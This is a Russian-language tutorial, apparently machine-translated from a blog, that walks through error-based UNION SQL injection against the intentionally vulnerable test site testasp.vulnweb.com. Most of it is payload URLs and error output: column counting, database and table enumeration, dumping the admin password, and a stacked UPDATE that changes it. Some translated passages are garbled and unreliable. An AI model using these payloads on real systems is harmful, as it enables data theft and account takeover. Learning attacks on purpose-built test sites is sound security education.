Суббота, 4 июля, 22:36
дома безопасность SQL-инъекция: самая известная атака на веб-приложения

SQL-инъекция: самая известная атака на веб-приложения

Базы данных сегодня считаются одной из самых сильных карт в компьютерных системах. Внутри мы можем хранить огромное количество данных и информации обо всем, что только можно себе представить, например, данные банковского счета, номера кредитных карт, платежная ведомость, рейтинги и многие другие конфиденциальные личные данные. Доступ к базе данных может быть достигнут с использованием языка SQL.

Термин SQL пришел из оригинала Язык структурированных запросов который в греческой терминологии может быть переведен как структурированный язык запросов (или поиск). В общем, SQL позволяет нам получить доступ к базе данных для:

  • Делать запросы
  • Поиск данных
  • Вставить новые записи, удалить старые или обновить существующие

Тем не менее, вы никогда не задумывались, насколько безопасна ваша личная информация (имя пользователя, пароль, адрес электронной почты) которые, например, спрятаны в базе данных форума, который вы часто посещаете, или, что еще хуже, в интернет-магазине?

Основываясь на опубликованном им списке OWASP (Открытый проект безопасности веб-приложений) для 2010, о 10 наиболее опасных пробелах в безопасности веб-приложений1] «инъекционные» атаки находятся в позиции с номером 1. В этом семействе есть известная атака SQL-инъекций.

Что такое SQL-инъекция: Техника атаки SQL-инъекций в последние годы все чаще используется несколькими начинающими взломщиками. Эта атака позволяет злоумышленнику запускать команды SQL на целевом сервере и затем получать конфиденциальную информацию (например, пароли, имена пользователей, электронные письма, номера кредитных карт и т. Д.) а) через базу данных, на которую он атакует.

Типичная атака SQL-инъекции.

Предположим поэтому, что мы связались с администраторами сайта http://testasp.vulnweb.com/ и поручил нам проверить его "выносливость". Чтобы начать наше исследование, мы должны сначала зайти на сайт как простые посетители, а затем каким-то образом получить доступ с правами администратора. Посредством этого процесса мы узнаем, действительно ли сайт безопасен или нет. Прежде чем перейти к основной статье, мы думаем, что сайт, который мы используем для наших примеров, особенно «создан» для таких тестов и атак, поэтому у его владельцев не возникнет проблем (http://bit.ly/ i8Xr6W). Однако ни при каких обстоятельствах мы не должны использовать знания, которые мы получаем из этих статей, для каких-либо злонамеренных действий. Как говорит один великий друг его писателя: «Каждое оружие можно использовать для добра и зла, например, кухонный нож, который можно использовать как для резки хлеба, так и для перерезания горла человеку. «Вернемся к нашему вопросу! Во время типичной атаки на SQL-инъекцию, основанной на ошибках, мы обычно пытаемся использовать более или менее« классические »операторы SQL [2] на целевом сервере. В случае, если сервер после наших тестов отвечает положительно, то есть он отображает сообщение об ошибке (или вообще ведет себя несколько неожиданно), тогда существует высокая вероятность того, что он подвержен SQL-инъекции.

Первое, что мы делаем, чтобы проверить, есть ли уязвимость на сайте, - это ввести одно вступительное слово ». " И понаблюдайте за его реакцией.

http://testasp.vulnweb.com/showforum.asp?id=2′

Как только мы введем это, мы обнаружим, что наша цель реагирует несколько «странно», отображая необычное сообщение об ошибке, которое мы не должны и не должны видеть:

Ошибка собственного клиента Microsoft SQL

'80040e14'

Незакрытая кавычка после строки символов
''
.
/showforum.asp, line
9

Это означает, что наша цель, вероятно, будет уязвима для SQL-инъекций, а точнее для "id"Есть проблема. Вероятно, разработчик не был особенно осторожен (хотя он должен!), Когда он написал код веб-страницы, поэтому параметр "id"Не имея никакой защиты и, возможно, не позволяя нам через URL запускать те команды, которые мы хотим! Итак, после того, как мы смогли выяснить, что на странице действительно есть проблема с тем, как она проверяет значения, которые пользователь вводит через URL в "id«Нам нужно посмотреть, сможем ли мы воспользоваться этим пробелом в безопасности и насколько это возможно.

Наш следующий шаг - выяснить, сколько столбцов возвращает команда ВЫБОР, Для этого мы введем команду вида "СОРТИРОВАТЬ ПО thesi_stilis«:

http://testasp.vulnweb.com/showforum.asp?id=2+ORDER+BY+1–

Введенный нами номер «1» помогает нам проверить, существует ли столбец 1 (в этом случае столбец 1 будет существовать всегда). Если после этого сайт будет загружен нормально, нам придется вернуться к URL-адресу, чтобы ввести номер «2» после номера «3», и продолжать повторять это до тех пор, пока нам не вернется сообщение об ошибке (изображение 1). Обычно эта команда в атаке SQL-инъекции используется для определения количества столбцов.

В случае, если мы импортируем:
http://testasp.vulnweb.com/showforum.asp?id=2+ORDER+BY+1,2,3–

На нашем сайте появится следующее сообщение об ошибке:

1
Ошибка собственного клиента Microsoft SQL
'80040e14'
2
ЗАКАЗ по номеру позиции
3
находится вне диапазона количества элементов в списке выбора.
3
/showforum.asp, line
9

Наблюдая за сообщением об ошибке, мы заключаем, что доступны столбцы 2, то есть меньше, чем число, которое нам показало сообщение об ошибке. Мы не закончили, но тогда мы должны увидеть, что эти две колонки видны на сайте. Для достижения этого мы будем использоватьСОЮЗ«:

http://testasp.vulnweb.com/showforum.asp?id=2+AND+1=0+UNION+SELECT+1,2–
1
1
2
Ошибка собственного клиента Microsoft SQL
'80040e14'
3
Все запросы, объединенные с использованием оператора UNION, INTERSECT или EXCEPT, должны иметь одинаковое количество выражений в своих целевых списках.
4
/showforum.asp, line
111

Число "1«То, что мы видим в начале сообщения об ошибке, означает, что первый столбец виден на сайте, и мы можем использовать его после нашей атаки для отображения информации через базу данных. Конечно, это число отличается от страницы к странице, а также количество уязвимых столбцов. На данный момент мы готовы начать сбор как можно большего количества информации о нашей цели. Прежде всего, нам нужно выяснить, какую систему вы используете, чтобы правильно адаптировать нашу атаку. Для этого мы заменим предыдущий запрос на "1»(то есть восприимчивый столбец) с "@@ VERSION"Который вернет версию SQL Server.

http://testasp.vulnweb.com/showforum.asp?id=2+AND+1=0+UNION+SELECT+@@VERSION,2–

Результат через сообщение об ошибке полностью проясняет работу сервера SQL на нашей цели.

1
Microsoft SQL Server
2005
-
9.00
.
3042.00
(Intel X
86
) Февраль
9
2007
22:
47:
07
Авторское право (c)
1988
-2005
Microsoft Corporation Express Edition на Windows NT
5.2
(Сложение
3790:
Service Pack
1
)
2
3
Ошибка собственного клиента Microsoft SQL
'80040e14'
4
Все запросы, объединенные с использованием оператора UNION, INTERSECT или EXCEPT, должны иметь одинаковое количество выражений в своих целевых списках.
5
/showforum.asp, line
111

Изображение 1
Появилась уязвимая колонка сайта. Там мы можем почти проецировать то, что хотим, через интересующую нас базу данных.

В случае, если мы хотим найти имя нашей текущей целевой базы данных, мы можем только вставить функцию "DB_NAME ()«В нашем запросе:

http://testasp.vulnweb.com/showforum.asp?id=2+AND+1=0+UNION+SELECT+DB_NAME(),2–
1
acuforum
2
Ошибка собственного клиента Microsoft SQL
'80040e14'
3
Все запросы, объединенные с использованием оператора UNION, INTERSECT или EXCEPT, должны иметь одинаковое количество выражений в своих целевых списках.
4
/showforum.asp, line
111

Посредством сообщения об ошибке мы сообщаем вам, что база, которую мы сейчас защищаем и звонит вам, звонитacuforum». Но если мы хотим посмотреть на имена из других баз данных, мы просто помещаем числа в функцию DB_NAME () начиная с 1 и продолжая поиск, начиная с базы "acuforum"Является ли число" 0 ".

1
мастер
2
Ошибка собственного клиента Microsoft SQL
'80040e14'
3
Все запросы, объединенные с использованием оператора UNION, INTERSECT или EXCEPT, должны иметь одинаковое количество выражений в своих целевых списках.
4
/showforum.asp, line
111

Пришло время снять рукава и попытаться извлечь некоторые имена пользователей и пароли через соответствующую целевую базу данных, чтобы мы могли затем использовать их, чтобы связать их с http://testasp.vulnweb.com/Login.asp, Прежде всего, нам нужно найти таблицу (таблицу) который содержит столбцы (столбцы) с желанными именами пользователей и паролем. На этом этапе мы решим наши руки так называемойINFORMATION_SCHEMA«С помощью которого мы можем найти все таблицы (а также столбцы) содержится в интересующей базе данных!

http://testasp.vulnweb.com/showforum.asp?id=2+AND+1=0+UNION+SELECT+table_name,2+from+information_schema.tables–
1
темы
2
Ошибка собственного клиента Microsoft SQL
'80040e14'
3
Все запросы, объединенные с использованием оператора UNION, INTERSECT или EXCEPT, должны иметь одинаковое количество выражений в своих целевых списках.
4
/showforum.asp, line
111

Хм, стол называетсятемы«Вероятно, не содержит ничего интересного для нас. Мы должны найти другую таблицу. Для этого мы будем использоватьне в ()"В нашем запросе будет возвращено имя следующей таблицы.

http://testasp.vulnweb.com/showforum.asp?id=2+AND+1=0+UNION+SELECT+table_name,2+FROM+information_schema.tables+WHERE+table_name+not+in+(‘threads’)–
1
форумы
2
Ошибка собственного клиента Microsoft SQL
'80040e14'
3
Все запросы, объединенные с использованием оператора UNION, INTERSECT или EXCEPT, должны иметь одинаковое количество выражений в своих целевых списках.
4
/showforum.asp, line
111

К сожалению, никакой интересной таблицы не появилось. Мы не откладываем это! Мы повторяем предыдущий процесс и, наконец, после нескольких попыток мы даем следующий запрос, и вы выводите таблицу с именем "пользователей».

http://testasp.vulnweb.com/showforum.asp?id=2+AND+1=0+UNION+SELECT+table_name,2+FROM+information_schema.tables+WHERE+table_name+not+in+(‘threads’,’forums’,’posts’)–
1
пользователей
2
Ошибка собственного клиента Microsoft SQL
'80040e14'
3
Все запросы, объединенные с использованием оператора UNION, INTERSECT или EXCEPT, должны иметь одинаковое количество выражений в своих целевых списках.
4
/showforum.asp, line
111

Бинго! Наконец-то у нас есть таблица, название которой определенно относится к «сочному» содержимому. В нашем исследовании мы должны обнаружить столбцы в таблице, которые мы только что взломали.

http://testasp.vulnweb.com/showforum.asp?id=2+AND+1=0+UNION+SELECT+column_name,2+FROM+information_schema.columns+WHERE+table_name=(‘users’)–
1
аватар
2
Ошибка собственного клиента Microsoft SQL
'80040e14'
3
Все запросы, объединенные с использованием оператора UNION, INTERSECT или EXCEPT, должны иметь одинаковое количество выражений в своих целевых списках.
4
/showforum.asp, line
111

Ну, колонка «аватар» нас не делает. Мы хотим что-то связанное с именем пользователя и паролем. Итак, мы продолжаем работать по тому же шаблону, что и раньше (когда искали имя таблицы), за исключением того, что теперь мы ищем что-то, связанное с именем пользователя и паролем, в столбцах теперь известной таблицы «пользователи». Наконец, через некоторое время поиска мы нашли первый интересный столбец таблицы, который называется «uname» и, вероятно, содержит имена пользователей!

http://testasp.vulnweb.com/showforum.asp?id=2+AND+1=0+UNION+SELECT+column_name,2+FROM+information_schema.columns+WHERE+table_name=(‘users’)+and+column_name+not+in+(‘avatar’,’email’,’realname’)–
1
uname
2
Ошибка собственного клиента Microsoft SQL
'80040e14'
3
Все запросы, объединенные с использованием оператора UNION, INTERSECT или EXCEPT, должны иметь одинаковое количество выражений в своих целевых списках.
4
/showforum.asp, line
111

Второй и последний интересный столбец таблицы «пользователи» - это «upass», в котором регистрируются пароли пользователей.

http://testasp.vulnweb.com/showforum.asp?id=2+AND+1=0+UNION+SELECT+column_name,2+FROM+information_schema.columns+WHERE+table_name=(‘users’)+and+column_name+not+in+(‘avatar’,’email’,’realname’,’uname’)–

1
upass
2
Ошибка собственного клиента Microsoft SQL
'80040e14'
3
Все запросы, объединенные с использованием оператора UNION, INTERSECT или EXCEPT, должны иметь одинаковое количество выражений в своих целевых списках.
4
/showforum.asp, line
111

Время, которое мы все ожидали. Мы будем искать в столбцах «uname» и «upass» таблицы «users» базы данных «acuforum» имя пользователя администратора и пароль. Чтобы избежать неудобств, которые мы испытывали прежде, ища имена пользователей одно за другим, мы смотрим на целевой сайт и замечаем, что администратор использует имя пользователя «admin» для создания сообщений (изображение 2).

Изображение 2
Как мы видим, администратор использует учетную запись «admin» для публикации форумов. Ну, там мы будем поражены.

Поэтому все, что нам нужно найти, это пароль, который соответствует имени пользователя «admin».

http://testasp.vulnweb.com/showforum.asp?id=2+AND+1=0+UNION+SELECT+upass,2+FROM+users+WHERE+uname=’admin’–
1
никто
2
Ошибка собственного клиента Microsoft SQL
'80040e14'
3
Все запросы, объединенные с использованием оператора UNION, INTERSECT или EXCEPT, должны иметь одинаковое количество выражений в своих целевых списках.
4
/showforum.asp, line
111

Игра окончена! Теперь у нас в руках то, что нам нужно. Имя пользователя «admin» и пароль «none» (изображение 3).

Изображение 3
Мы выявили пароль, который соответствует учетной записи администратора.

Это не мешает нам присоединиться в качестве администратора на http://testasp.vulnweb.com. Изображение 4, на самом деле, доказывает, что это довольно ясно.

Изображение 4
В конце концов, было не так сложно подключиться как «администратор» к нашей цели.

Выводы и мысли.

Процедура, которой следовали, чтобы найти все эти элементы и объяснить типичную атаку с использованием SQL-инъекций, носила чисто образовательный характер, и, конечно, вы должны это увидеть. По его мнению, понимание опасности - это первый и самый важный шаг, прежде чем найти решение для его полной борьбы. Конечно, было бы интересно взглянуть на некоторые методы внедрения анти-SQL следующего поколения. До этого убедитесь, что ваш сайт не страдает от уязвимости, приводящей к SQL-инъекции, а также понимаете, насколько опасен такой пробел в безопасности.

Использование логического условия «И + 1 = 0» в SQL-инъекции.

Прочитав статью, вы наверняка заметите, что в нескольких примерах во время атаки с использованием SQL-инъекций мы использовали логическоеИ + 1 = 0"В начале. Причина проста, мы добавляем ложное логическое условие ВЫБОР утверждение, которое по существу будет относиться к первому ВЫБОРто есть до этого СОЮЗ, Таким образом, в конечном результате мы не увидим ни одной записи ВЫБОР, который нас не интересует. По сути мы заинтересованы в показе результатов запроса, которые находятся во втором ВЫБОР после этого СОЮЗ, Просто из-за своей природы, СОЮЗ вы используете для объединения двух результатов (или больше) запросы, если у него не было чего-то ложного в первом ВЫБОР то, что мы получили бы, будет смесью информации между первым и вторым. В качестве альтернативы, тот же результат, что и "И + 1 = 0«Мы бы имели, если бы дали отрицательное значение параметра»id«Как например:

http://testasp.vulnweb.com/showforum.asp?id=-2+UNION+SELECT+1,2–

Думай умнее и .. альтернативно!

Предположим, что когда мы достигли последнего шага, вот где пароль пользователя "админ«Но к нашему несчастью это было зашифровано. Мы могли бы вместо того, чтобы поставить онлайн-«snapper», чтобы найти код для нас (что займет у нас много времени), чтобы просто попытаться изменить пароль, соответствующий пользователю «admin», прямо через базу. Этому поможет команда «ОБНОВИТЬ»:

http://testasp.vulnweb.com/showforum.asp?id=2;+UPDATE+users+SET+upass=’thenewpass’+WHERE+uname=’admin’–

Если вышеописанное выполнено правильно (без отображения сообщения об ошибке) и повторите запрос, чтобы отобразить пароль, соответствующий пользователю "админ«Мы обнаружим, что пароль от« none »в начале (изображение 3) изменился на»thenewpass"(Изображение 5). Конечно, после теста мы сбрасываем пароль на исходный.

Изображение 5
Нам удалось изменить пароль, используемый администратором, без особых усилий.

Внимание: ";Msgstr "Указывает конец команды и начало другой.

Источник: ghostinthelab.wordpress.com

ОСТАВИТЬ ОТВЕТ

Пожалуйста, введите ваш комментарий!
Пожалуйста, введите ваше имя здесь

LIVE NEWS

COVID-19: новое исследование по поиску антител у доноров крови

Американский Красный Крест изучает кровь, полученную в результате пожертвований, и ищет антитела против COVID-19, которые дадут ее ...

Цифровая трансформация и бизнес: что означает его провал?

Цифровая трансформация обычно позволяет компаниям превзойти своих конкурентов и избавиться от методов, которые ...

Коваксин: Индия выпускает вакцину COVID-19 в августе

Вся планета ждет выпуска вакцины против коронавируса, в то время как клинические испытания начались во многих странах мира ....

iOS 13.5.1: пользователи iPhone сообщают о проблемах батареи

Заметили ли вы какие-либо изменения в вашем iPhone в последнее время? Может быть, например, батарея быстро разряжается ...

Avaddon Ransomware: атаки через макросы Excel 4.0

Вчера Microsoft объявила, что Avaddon Ransomware распространился на этой неделе с помощью старой техники, которая снова вышла на первый план. ...

Apple: запрещает обновление китайских приложений без разрешения

Apple запрещает разработчикам обновлять существующие приложения в китайском App Store, если они не одобрены правительством.

Австралия: тысячи аккаунтов MyGov продаются в Dark Web

Доступ к более чем 3600 учетным записям MyGov продается в темной сети, что потенциально может привести к мошенничеству и краже личных данных тысяч австралийцев.
00: 03: 03

Время вечеринки: смотри телевизор с друзьями онлайн

Время вечеринки: смотри телевизор со своими друзьями в интернете. Время для другой вечеринки, к которой ты не привык, смотреть любимую ...

CISA и ФБР предупреждают бизнес о рисках Tor

Агентство по кибербезопасности и безопасности инфраструктуры (CISA) и Федеральное бюро расследований (ФБР) выпустили предупреждение для предприятий относительно ...

openSUSE: выпущен новый жесткий диск Leap 15.2

Недавно была выпущена следующая стабильная версия операционной системы openSUSE. По словам команды разработчиков операционной системы, ...